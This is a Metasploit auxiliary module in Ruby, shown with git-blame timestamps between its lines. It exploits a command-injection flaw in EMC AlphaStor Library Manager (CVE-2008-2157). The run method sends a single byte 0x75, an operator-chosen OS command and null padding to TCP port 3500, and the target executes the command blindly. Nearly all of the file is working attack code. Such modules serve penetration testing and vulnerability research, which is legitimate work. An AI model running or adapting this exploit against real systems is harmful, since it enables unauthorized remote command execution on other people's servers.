2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2008-10-11 00:56:47 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-10-11 00:56:47 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'EMC AlphaStor Library Manager Arbitrary Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
EMC AlphaStor Library Manager is prone to a remote command-injection vulnerability
|
|
|
|
because the application fails to properly sanitize user-supplied input.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-04-13 14:33:26 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-10-11 00:56:47 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
|
2009-10-14 11:45:14 +00:00
|
|
|
[ 'CVE', '2008-2157' ],
|
2010-02-10 19:26:18 +00:00
|
|
|
[ 'OSVDB', '45715' ],
|
2008-10-11 00:56:47 +00:00
|
|
|
[ 'BID', '29398' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 27 2008'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
2008-10-11 00:56:47 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(3500),
|
|
|
|
OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect
|
|
|
|
|
|
|
|
data = "\x75" + datastore['CMD']
|
|
|
|
pad = "\x00" * 512
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
pkt = data + pad
|
|
|
|
|
2008-10-11 00:56:47 +00:00
|
|
|
# commands are executed blindly.
|
2010-04-30 08:40:19 +00:00
|
|
|
print_status("Sending command: #{datastore['CMD']}")
|
2008-10-11 00:56:47 +00:00
|
|
|
sock.put(pkt)
|
|
|
|
|
2010-06-22 18:58:38 +00:00
|
|
|
select(nil,nil,nil,1)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-10-11 00:56:47 +00:00
|
|
|
sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-10-11 00:56:47 +00:00
|
|
|
print_status("Executed '#{datastore['CMD']}'...")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
2009-10-14 11:45:14 +00:00
|
|
|
end
|